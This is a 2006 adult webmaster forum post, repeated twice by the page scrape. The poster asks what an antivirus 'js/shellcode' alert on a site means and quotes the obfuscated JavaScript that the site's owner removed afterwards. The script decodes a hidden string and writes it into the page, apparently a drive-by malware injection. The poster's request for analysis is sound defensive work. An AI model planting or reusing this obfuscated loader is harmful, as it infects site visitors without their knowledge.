GoFuckYourself.com - Adult Webmaster Forum - View Single Post

maxxxxx · 07-06-2006, 10:45 AM

Checked out a new sologirl site which gave me a virus alert: "signature of js/shellcode virus found" which seems to be some kind of trojan. Contacted the owner who said that he wasn't aware of any javascript on his site. However, this piece of javascript was removed from his site minutes after I had contacted him:

<script language="JavaScript">
e = '0x00' + '29';str1 = "%92%CA%C1%DC%B6%DB%DA%D1%C2%CD%95%88%DC%C1%DB%C1% C8%C1%C2%C1%DA%D1%90%CE%C1%CA%CA%CD%C4%88%94%92%C1 %CC%D8%C9%C5%CD%B6%DB%D8%CB%95%88%CE%DA%DA%C6%90%8 7%87%CA%C4%DC%85%CB%C7%DD%C4%DA%CD%D8%84%CB%C7%C5% 87%CA%C4%DC%9B%87%88%B6%DF%C1%CA%DA%CE%95%99%B6%CE %CD%C1%CF%CE%DA%95%99%94%92%87%C1%CC%D8%C9%C5%CD%9 4%92%87%CA%C1%DC%94%B6%A5%A0";str=tmp='';for(i=0;i <str1.length;i+=3){tmp = unescape(str1.slice(i,i+3));str=str+String.fromCha rCode((tmp.charCodeAt(0)^e)-127);}document.write(str);
</script>

Can anyone do something with this? Any idea what this js/shellcode virus is? Just trying to find out what's going on.

07-06-2006, 10:45 AM
maxxxxx Confirmed User Join Date: Jul 2003 Posts: 646	Virus alert on new sologirl site Checked out a new sologirl site which gave me a virus alert: "signature of js/shellcode virus found" which seems to be some kind of trojan. Contacted the owner who said that he wasn't aware of any javascript on his site. However, this piece of javascript was removed from his site minutes after I had contacted him: <script language="JavaScript"> e = '0x00' + '29';str1 = "%92%CA%C1%DC%B6%DB%DA%D1%C2%CD%95%88%DC%C1%DB%C1% C8%C1%C2%C1%DA%D1%90%CE%C1%CA%CA%CD%C4%88%94%92%C1 %CC%D8%C9%C5%CD%B6%DB%D8%CB%95%88%CE%DA%DA%C6%90%8 7%87%CA%C4%DC%85%CB%C7%DD%C4%DA%CD%D8%84%CB%C7%C5% 87%CA%C4%DC%9B%87%88%B6%DF%C1%CA%DA%CE%95%99%B6%CE %CD%C1%CF%CE%DA%95%99%94%92%87%C1%CC%D8%C9%C5%CD%9 4%92%87%CA%C1%DC%94%B6%A5%A0";str=tmp='';for(i=0;i <str1.length;i+=3){tmp = unescape(str1.slice(i,i+3));str=str+String.fromCha rCode((tmp.charCodeAt(0)^e)-127);}document.write(str); </script> Can anyone do something with this? Any idea what this js/shellcode virus is? Just trying to find out what's going on. __________________ **Teen Harbour** - Home of Little Caprice ------------------------------------------------------------------- In a perfect world... spammers would get caught, go to jail, and share a cell with many men who have enlarged their penisses, taken Viagra and are looking for a new relationship. Last edited by maxxxxx; 07-06-2006 at 10:46 AM..